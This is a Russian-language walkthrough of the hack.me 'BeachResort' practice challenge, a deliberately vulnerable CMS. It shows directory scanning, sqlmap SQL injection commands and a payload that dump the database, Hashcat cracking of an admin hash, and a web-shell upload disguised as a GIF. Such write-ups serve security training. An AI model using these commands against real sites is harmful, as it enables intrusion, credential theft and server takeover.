Hack.me: Ещё одна площадка для оттачивания навыков в области ИБ

в 20:19, , рубрики: beachresort, cms, ctf, hack.me, vulnerability, информационная безопасность, метки:

Hack.me: Ещё одна площадка для оттачивания навыков в области ИБ - 1

Всем доброго времени суток, сегодня не будет VulnHub'a. Сегодня рассмотрим его альтернативу hack.me. На котором содержится не мало интересных площадок для взлома, на различные темы. В этой статье рассмотрим BeachResort. Как пишет автор, это не типичный CTF, тут вместо флагов, нас просят проверить CMS сайта на безопасность, а заодно узнать следующее:

  1. Имя администратора сайта
  2. Название БД
  3. Список таблиц
  4. Список всех файлов в корневой директории CMS
  5. Лицензионный ключ
  6. Содержимое очень секретного файла

Приступим

После старта, нам становится доступна временная ссылка на уязвимый сайт. Побродив по сайту, ничего интересного на нём не находим, поэтому перейдём к сканированию скрытых директорий:

$ sudo dirsearch -u 'http://s60229-102657-xpo.croto.hack.me' -e php,txt,html -w /usr/share/dirb/wordlists/big.txt -x 503,403 --random-agent

Hack.me: Ещё одна площадка для оттачивания навыков в области ИБ - 2

Сканируем дальше:

$ sudo dirsearch -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm' -e php,txt,html -w /usr/share/dirb/wordlists/big.txt -x 503,403 --random-agent

Hack.me: Ещё одна площадка для оттачивания навыков в области ИБ - 3

Как и ожидалось, тут есть форма авторизации:
Hack.me: Ещё одна площадка для оттачивания навыков в области ИБ - 4

И так как от нас требуется узнать информацию о БД и её содержимом, то вероятно мы имеем дело с SQL injection. Осталось её найти:

$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch --dbs

Sqlmap успешно справился с поставленной задачей, выдал название базы данных: supercms и вот такой Payload:

Payload: user=admin' UNION ALL SELECT CONCAT(0x7176707a71,0x6964745475644f6f614968737948504a5a484b496a4f476355556b4172726d4f56766d6d53755276,0x71766a6b71)-- OFdY&pass=admin

Переходим к списку таблиц:

$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch -D supercms --tables

Hack.me: Ещё одна площадка для оттачивания навыков в области ИБ - 5

Таблица groups нам не интересна, в задании что-то говорилось про лицензионный ключ. Посмотрим соответствующую таблицу:

$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch -D supercms -T license --dump

Hack.me: Ещё одна площадка для оттачивания навыков в области ИБ - 6

Ещё 1 пункт завершён, осталось взглянуть на список пользователей, заодно, вероятно там должно быть имя администратора CMS:

$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch -D supercms -T operators --dump

Hack.me: Ещё одна площадка для оттачивания навыков в области ИБ - 7

Админ найден, и даже большую часть паролей sqlmap за нас расшифровал, чтобы найти последний, воспользуемся Hashcat'ом:

$ sudo /opt/cudaHashcat/cudaHashcat32.bin -m 0 hashes /media/DATA/passwords/hashkiller-dict.txt

И через несколько секунд получаем требуемый пароль:
2bfea2ff114ccd30d95e176a1d25346a:!superadmin!

Пробуем авторизоваться, и попадаем вот на такую страницу:
Hack.me: Ещё одна площадка для оттачивания навыков в области ИБ - 8

В целом ничего интересного, кроме страницы с возможностью загрузить изображение:
Hack.me: Ещё одна площадка для оттачивания навыков в области ИБ - 9

Попробовав загрузить простенький шелл, получаем ошибку:
Hack.me: Ещё одна площадка для оттачивания навыков в области ИБ - 10

Ок, зальём туда b374k, предварительно обработав запрос плагином Tamper Data для Firefox. Всё что нужно, это заменить название файла в перехваченном запросе на b374k.gif.php, и добавив в начало файла сигнатуру GIF89а:
Hack.me: Ещё одна площадка для оттачивания навыков в области ИБ - 11

Отправляем запрос, получаем сообщение об успешной загрузке. Предположив, что по логике наша «шелл-картинка» должна загрузиться в директорию images, пробуем открыть только что загруженный файл:
Hack.me: Ещё одна площадка для оттачивания навыков в области ИБ - 12

Приступим к выполнению последних заданий, а именно получим список файлов и директорий:
Hack.me: Ещё одна площадка для оттачивания навыков в области ИБ - 13

Тут же находим файл secret.noop, который является последним звеном:
Hack.me: Ещё одна площадка для оттачивания навыков в области ИБ - 14

Все задания выполнены, можно смело отправлять ответы автору, для подтверждения прохождения.

Автор: GH0st3rs

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js